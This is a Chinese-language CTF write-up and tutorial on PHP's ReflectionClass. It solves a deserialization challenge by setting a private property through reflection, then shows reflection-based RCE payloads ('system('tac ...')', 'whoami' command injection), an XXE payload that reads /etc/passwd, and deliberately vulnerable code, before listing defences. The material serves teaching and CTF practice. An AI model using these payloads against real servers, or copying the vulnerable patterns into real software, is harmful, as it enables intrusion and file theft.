PHP特性之反射类ReflectionClass机制
目录
引例
最近在刷polarD&N靶场的时候,做到了一道关于ReflectionClass机制
原题是这样的
php
<?php
class FlagReader {
private $logfile = "/tmp/log.txt";
protected $content = "<?php system(\$_GET['cmd']); ?>";
public function __toString() {
if (file_exists('/flag')) {
return file_get_contents('/flag');
} else {
return "Flag file not found!";
}
}
}
class DataValidator {
public static function check($input) {
$filtered = preg_replace('/[^\w]/', '', $input);
return strlen($filtered) > 10 ? true : false;
}
public function __invoke($data) {
return self::check($data);
}
}
class FakeDanger {
private $buffer;
public function __construct($data) {
$this->buffer = base64_encode($data);
}
public function __wakeup() {
if (rand(0, 100) > 50) {
$this->buffer = str_rot13($this->buffer);
}
}
}
class VulnerableClass {
public $logger;
private $debugMode = false;
public function __destruct() {
if ($this->debugMode) {
echo $this->logger;
} else {
$this->cleanup();
}
}
private function cleanup() {
if ($this->logger instanceof DataValidator) {
$this->logger = null;
}
}
}
function sanitize_input($data) {
$data = trim($data);
return htmlspecialchars($data, ENT_QUOTES);
}
if(isset($_GET['data'])) {
$raw = base64_decode($_GET['data']);
if (preg_match('/^[a-zA-Z0-9\/+]+={0,2}$/', $_GET['data'])) {
unserialize($raw);
}
} else {
highlight_file(__FILE__);
}
?>
乍一看有这么多类,我们依旧寻找题目的突破点
关键类
FlagReader类
php
class FlagReader {
private $logfile = "/tmp/log.txt";
protected $content = "<?php system(\$_GET['cmd']); ?>";
public function __toString() {
if (file_exists('/flag')) {
return file_get_contents('/flag');
} else {
return "Flag file not found!";
}
}
}
VulnerableClass类
php
class VulnerableClass {
public $logger;
private $debugMode = false;
public function __destruct() {
if ($this->debugMode) {
echo $this->logger;
} else {
$this->cleanup();
}
}
private function cleanup() {
if ($this->logger instanceof DataValidator) {
$this->logger = null;
}
}
}
能直接获取flag的只有FlagReader
类的toString()
方法
__toString()
是 PHP 的魔术方法,当对象被当作字符串使用时(比如echo $obj
)会自动调用。所以我们的核心目标是:让FlagReader
实例被当作字符串输出
再看VulnerableClass
的__destruct()
方法(对象销毁时自动调用):
这里有两个关键条件:
$this->debugMode
必须为true
,才会执行echo $this->logger
$this->logger
必须是FlagReader
实例,这样echo
时才会触发其__toString()
所以我们需要构造一个VulnerableClass
对象,满足:
debugMode = true
logger = FlagReader实例
为什么需要反射机制?
VulnerableClass
中的debugMode
是私有属性:
php
class VulnerableClass {
public $logger;
private $debugMode = false; // private属性,外部无法直接修改
}
私有属性(private
)的访问权限被严格限制:
- 不能通过
$vuln->debugMode = true
直接修改 - 即使在类外部重新定义类,也无法绕过访问限制
这时候就需要反射机制(Reflection) 来突破限制:
php
// 1. 获取VulnerableClass的反射类
$ref = new ReflectionClass($vuln);
// 2. 获取debugMode属性的反射对象
$debugMode = $ref->getProperty('debugMode');
// 3. 强制设置该属性可访问(突破private限制)
$debugMode->setAccessible(true);
// 4. 修改属性值为true
$debugMode->setValue($vuln, true);
强行将私有属性debugMode
从false
改为true
,这是整个 EXP 的核心突破点。
php
<?php
class FlagReader{
private $logfile = "/tmp/log.txt";
protected $content = "<?php system(\$_GET['cmd']); ?>";
}
class VulnerableClass {
public $logger;
private $debugMode = false;
}
$flag=new FlagReader();
$vuln=new VulnerableClass();
//1.获取反射类
$ref=new ReflectionClass($vuln);
//2.获取debugMode属性的反射对象
$debugMode=$ref->getProperty('debugMode');
//3.强制设置该属性可访问(突破private限制)
$debugMode->setAccessible(true);
//4.修改属性值为true
$debugMode->setValue($vuln,true);
$vuln->logger=$flag;
echo base64_encode(serialize($vuln));
详细阐述
ReflectionClass反射类在PHP5新加入,继承自Reflector,它可以与已定义的类建立映射关系,通过反射类可以对类操作
php
ReflectionClass implements Reflector {
/* 常量 */
const integer IS_IMPLICIT_ABSTRACT = 16 ;
const integer IS_EXPLICIT_ABSTRACT = 32 ;
const integer IS_FINAL = 64 ;
/* 属性 */
public $name ;
/* 方法 */
public __construct ( mixed $argument )
public static export ( mixed $argument [, bool $return = false ] ) : string
public getConstant ( string $name ) : mixed
public getConstants ( ) : array
public getConstructor ( ) : ReflectionMethod
public getDefaultProperties ( ) : array
public getDocComment ( ) : string
public getEndLine ( ) : int
public getExtension ( ) : ReflectionExtension
public getExtensionName ( ) : string
public getFileName ( ) : string
public getInterfaceNames ( ) : array
public getInterfaces ( ) : array
public getMethod ( string $name ) : ReflectionMethod
public getMethods ([ int $filter ] ) : array
public getModifiers ( ) : int
public getName ( ) : string
public getNamespaceName ( ) : string
public getParentClass ( ) : ReflectionClass
public getProperties ([ int $filter ] ) : array
public getProperty ( string $name ) : ReflectionProperty
public getReflectionConstant ( string $name ) : ReflectionClassConstant|false
public getReflectionConstants ( ) : array
public getShortName ( ) : string
public getStartLine ( ) : int
public getStaticProperties ( ) : array
public getStaticPropertyValue ( string $name [, mixed &$def_value ] ) : mixed
public getTraitAliases ( ) : array
public getTraitNames ( ) : array
public getTraits ( ) : array
public hasConstant ( string $name ) : bool
public hasMethod ( string $name ) : bool
public hasProperty ( string $name ) : bool
public implementsInterface ( string $interface ) : bool
public inNamespace ( ) : bool
public isAbstract ( ) : bool
public isAnonymous ( ) : bool
public isCloneable ( ) : bool
public isFinal ( ) : bool
public isInstance ( object $object ) : bool
public isInstantiable ( ) : bool
public isInterface ( ) : bool
public isInternal ( ) : bool
public isIterable ( ) : bool
public isIterateable ( ) : bool
public isSubclassOf ( string $class ) : bool
public isTrait ( ) : bool
public isUserDefined ( ) : bool
public newInstance ( mixed $args [, mixed $... ] ) : object
public newInstanceArgs ([ array $args ] ) : object
public newInstanceWithoutConstructor ( ) : object
public setStaticPropertyValue ( string $name , string $value ) : void
public __toString ( ) : string
}
反射机制的核心作用
本质上是"程序自我检查"的能力,通过ReflectionClass
可以:
- 分析类的结构(属性、方法、常量、接口、父类等)
- 检查类的修饰符(public、private、protected、abstract、final 等)
- 动态调用类的方法或访问属性
- 处理注解信息
- 实现依赖注入、ORM 框架、自动文档生成等高级功能
ReflectionClass 的基本使用流程
1.实例化 ReflectionClass:传入类名、对象实例或字符串类名
这里有三种实例化的方式
php
$reflection = new ReflectionClass('MyClass');
$reflection = new ReflectionClass(new MyClass());
$reflection = new ReflectionClass(MyClass::class);
2.获取类的基本信息:
php
echo $reflection->getName(); // 获取类名
echo $reflection->getNamespaceName(); // 获取命名空间
var_dump($reflection->isAbstract()); // 是否为抽象类
var_dump($reflection->isFinal()); // 是否为final类
var_dump($reflection->isInterface()); // 是否为接口
3.获取类的结构信息
- 属性:
getProperties()
返回 ReflectionProperty 数组 - 方法:
getMethods()
返回 ReflectionMethod 数组 - 常量:
getConstants()
返回常量键值对数组 - 父类:
getParentClass()
返回父类的 ReflectionClass 实例 - 接口:
getInterfaces()
返回实现的接口数组
常用方法与应用场景
1.探查类的属性
php
$properties = $reflection->getProperties();
foreach ($properties as $property) {
echo "属性名: " . $property->getName() . "\n";
echo "修饰符: " . implode(', ', Reflection::getModifierNames($property->getModifiers())) . "\n";
echo "是否为静态: " . ($property->isStatic() ? '是' : '否') . "\n";
}
2.动态调用方法
即使是私有方法也可以通过反射调用(需谨慎使用,可能破坏封装性):
php
$method = $reflection->getMethod('privateMethod');
$method->setAccessible(true); // 突破访问限制
$instance = $reflection->newInstance(); // 创建实例
$result = $method->invoke($instance, $param1, $param2); // 调用方法
3.处理构造函数与依赖注入
php
// 获取构造函数
$constructor = $reflection->getConstructor();
if ($constructor) {
// 获取构造函数参数
$parameters = $constructor->getParameters();
$dependencies = [];
foreach ($parameters as $param) {
// 解析参数类型提示,实现自动依赖注入
$paramType = $param->getType();
if ($paramType) {
$dependencies[] = new $paramType->getName();
}
}
// 使用解析的依赖创建实例
$instance = $reflection->newInstanceArgs($dependencies);
}
4.解析类注解
结合文档注释,可以实现简单的注解功能:
php
$docComment = $reflection->getDocComment();
// 解析类似 @Entity(table="users") 的注解
preg_match('/@Entity\(table="(.*?)"\)/', $docComment, $matches);
$tableName = $matches[1] ?? 'default_table';
反射机制进一步的利用
如果被恶意利用,可能成为RCE的攻击向量。主要源于反射机制对类方法、属性的动态访问能力,尤其是能够控制反射操作的参数时。
导致RCE核心原理:
- 类名 / 方法名 :通过
ReflectionClass
动态指定类和方法,若类名 / 方法名可控,可能调用危险函数(如exec
、system
等)。 - 方法参数:即使类和方法固定,若传入的参数可控,可能注入恶意指令(如命令注入)。
- 访问控制绕过 :反射的
setAccessible(true)
可突破私有方法限制,若被攻击利用,可能触发类内部的危险逻辑。
这里举一个CTFshowWeb109的例子
php
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
new $v1 创建了一个名为v1的实例,调用v2方法。echo 一个对象 触犯反序列化的__toString()魔术方法,也就是本题的利用点
魔术方法 __toString() 在对象被当作字符串处理时自动调用。很多 PHP 内置类(如 Exception、CachingIterator 和 ReflectionClass)都实现了这个方法。
php
?v1=ReflectionClass&v2=system('tac fl36dg.txt')
//同时也可以用别的内置类
上面是直接利用的例子
接下来我们看一下特殊的攻击场景
1.可控类名+方法名的反射调用
若代码中通过反射动态调用类方法,且类名和方法名由用户输入控制,攻击者可构造恶意类名和方法名触发命令执行:
php
$className = $_GET['class']; // 攻击者可控
$methodName = $_GET['method']; // 攻击者可控
try {
$reflection = new ReflectionClass($className);
$method = $reflection->getMethod($methodName);
$method->invoke(null); // 静态方法调用
} catch (Exception $e) {
// 异常处理
}
攻击者可构造 URL 参数:
?class=ReflectionFunction&method=invoke
(这边解释一下啊,ReflectionFunction是PHP内置的反射类,用于分析函数信息。调用invoke()方法会执行被反射的函数,从而触发恶意代码)
配合参数注入,甚至可调用exec
等函数:
?class=ReflectionFunction&method=invoke&func=exec¶m=whoami
2.利用反射调用危险内置类 / 方法
PHP 的部分内置类(如DirectoryIterator
、SimpleXMLElement
)或扩展类,若通过反射动态调用其方法并传入恶意参数,可能导致 RCE
php
$className = 'SimpleXMLElement';
$methodName = '__construct';
$userInput = $_GET['xml']; // 攻击者可控
$reflection = new ReflectionClass($className);
$method = $reflection->getMethod($methodName);
// 若$userInput包含恶意XML(如XXE攻击),可能导致文件读取或RCE
$method->invokeArgs($reflection->newInstanceWithoutConstructor(), [$userInput, LIBXML_NOENT]);
可构造外部实体声明的XML,读取服务器本地文件:
xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
将上述内容作为 xml
参数传入(即 ?xml=上述XML内容
),PHP 解析后会将 /etc/passwd
文件内容替换到 &xxe;
位置,导致敏感文件被读取并可能通过后续逻辑泄露。
3.绕过访问控制执行私有危险方法
若类中存在私有方法包含危险操作(如执行系统命令),攻击者可通过反射的setAccessible(true)
突破限制并调用:
php
class DangerousClass {
private function execCommand($cmd) {
return shell_exec($cmd); // 危险操作
}
}
// 攻击者可控参数
$className = 'DangerousClass';
$methodName = 'execCommand';
$cmd = $_GET['cmd']; // 攻击者注入命令
$reflection = new ReflectionClass($className);
$method = $reflection->getMethod($methodName);
$method->setAccessible(true); // 绕过私有访问限制
$result = $method->invoke($reflection->newInstance(), $cmd); // 执行恶意命令
通过?cmd=whoami
即可触发命令执行
防御措施
-
严格过滤输入:对反射操作中使用的类名、方法名、参数进行白名单校验,禁止用户输入直接作为反射参数。
php// 安全示例:白名单限制允许的类和方法 $allowedClasses = ['MySafeClass', 'Utils']; $allowedMethods = ['getData', 'format']; if (!in_array($className, $allowedClasses) || !in_array($methodName, $allowedMethods)) { die('Invalid class or method'); }
-
避免动态调用危险函数 :禁止通过反射调用
exec
、system
、shell_exec
等命令执行函数,以及eval
、assert
等代码执行函数。 -
谨慎使用
setAccessible
:除非必要,否则不使用setAccessible(true)
绕过访问控制,尤其避免对包含敏感操作的私有方法使用。 -
限制反射范围:在框架或库中,反射应仅用于已知的、可信的类和方法,避免对用户可控的未知类进行反射操作。
-
开启 PHP 安全配置 :禁用危险函数(
disable_functions
)、限制 XML 外部实体(libxml_disable_entity_loader(true)
)等,降低攻击成功概率